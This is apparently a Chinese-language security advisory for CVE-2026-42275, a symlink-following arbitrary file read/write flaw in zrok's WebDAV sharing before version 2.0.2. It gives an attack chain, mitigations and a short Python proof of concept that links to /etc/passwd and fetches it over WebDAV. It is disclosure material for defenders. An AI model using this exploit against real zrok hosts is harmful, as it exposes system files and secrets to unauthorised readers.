IPBUF安全漏洞报告
English
CVE-2026-42275 CVSS 8.7 高危

CVE-2026-42275 zrok符号链接任意文件读写漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42275
漏洞类型
路径遍历
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
zrok

相关标签

路径遍历符号链接zrokWebDAV任意文件读写

漏洞概述

zrok是一款用于共享Web服务、文件和网络资源的软件。在2.0.2版本之前,其WebDAV驱动后端虽然通过词法规范化限制了路径遍历,但未能有效阻止符号链接跟随。当共享的DriveRoot内存在符号链接指向根目录外部位置时,远程WebDAV使用者可利用此漏洞读取宿主机文件系统中的任意文件。若共享配置缺乏操作系统级别的权限限制,攻击者甚至可以写入或覆盖目标主机上zrok进程可访问的任意文件。该问题已在v2.0.2版本中修复。

技术细节

该漏洞的根本原因在于zrok的WebDAV服务组件(davServer.Dir)在进行文件访问控制时,仅对请求路径进行了词法层面的规范化处理(例如解析 ../),但未对文件系统中的符号链接进行安全检查。在Linux/Unix系统中,符号链接可以指向文件系统中的任意位置。攻击者首先需要在共享目录(DriveRoot)中拥有创建文件或写入权限,或者目录中已存在指向外部的符号链接。当攻击者通过WebDAV协议请求访问该符号链接时,zrok服务会直接跟随链接跳转到实际的物理路径。由于缺乏对最终目标路径是否仍位于DriveRoot内的二次验证,服务进程会以当前运行权限去读取或写入该目标文件。结合CVSS向量中的S:C(Scope Changed),这可能导致敏感信息泄露(如配置文件、密钥)或系统完整性破坏(覆盖关键系统文件)。利用条件通常需要攻击者能够诱导受害者创建特定的目录结构,或者在允许写入的共享环境中自行投放恶意符号链接。

攻击链分析

STEP 1
1. 初始访问与准备
攻击者获得对zrok共享目录的写入权限,或利用已存在于共享目录中的符号链接。
STEP 2
2. 创建恶意符号链接
攻击者在共享目录内创建一个符号链接,该链接指向DriveRoot之外的敏感文件或目录(如/etc/passwd)。
STEP 3
3. 发起WebDAV请求
攻击者通过WebDAV客户端请求访问该符号链接。由于zrok仅进行词法规范化而未阻止Symlink跟随,服务端解析链接到实际路径。
STEP 4
4. 数据读取或写入
zrok进程读取目标文件内容返回给攻击者,或在无OS权限限制时覆盖目标文件,实现任意文件读写。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-42275 (zrok Symlink Following) This script demonstrates how a symlink inside the shared DriveRoot bypasses path traversal restrictions. """ import os import requests # Configuration WEBDAV_URL = "http://target-zrok-instance/public/" # The zrok share URL MALICIOUS_LINK_NAME = "etc_passwd_link" TARGET_FILE = "/etc/passwd" def create_symlink_in_share(): """ Simulates creating a symlink in the shared directory. In a real scenario, this might be done via WebDAV PUT if allowed, or by an insider/third-party mechanism. """ print(f"[+] Creating symlink '{MALICIOUS_LINK_NAME}' -> '{TARGET_FILE}'...") try: os.symlink(TARGET_FILE, MALICIOUS_LINK_NAME) print("[+] Symlink created successfully.") except Exception as e: print(f"[-] Failed to create symlink: {e}") def exploit_symlink(): """ Attempts to read the file through the symlink via WebDAV. """ print(f"[+] Attempting to read '{MALICIOUS_LINK_NAME}' via WebDAV...") url = f"{WEBDAV_URL}{MALICIOUS_LINK_NAME}" try: response = requests.get(url) if response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print("-" * 20) print(response.text[:200]) # Print first 200 chars print("-" * 20) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": # Step 1: Setup the malicious symlink create_symlink_in_share() # Step 2: Access the file remotely # Note: In a real attack, the attacker uses a WebDAV client like cadaver or curl. # Here we simulate the HTTP GET request. exploit_symlink()

影响范围

zrok < 2.0.2

防御指南

临时缓解措施
建议立即将zrok软件升级至2.0.2或更高版本以修补此漏洞。若无法立即升级,应严格限制zrok进程的操作系统权限,避免其以高权限用户(如root)运行,并在网络层面限制对WebDAV服务的访问来源,仅允许可信IP连接。

参考链接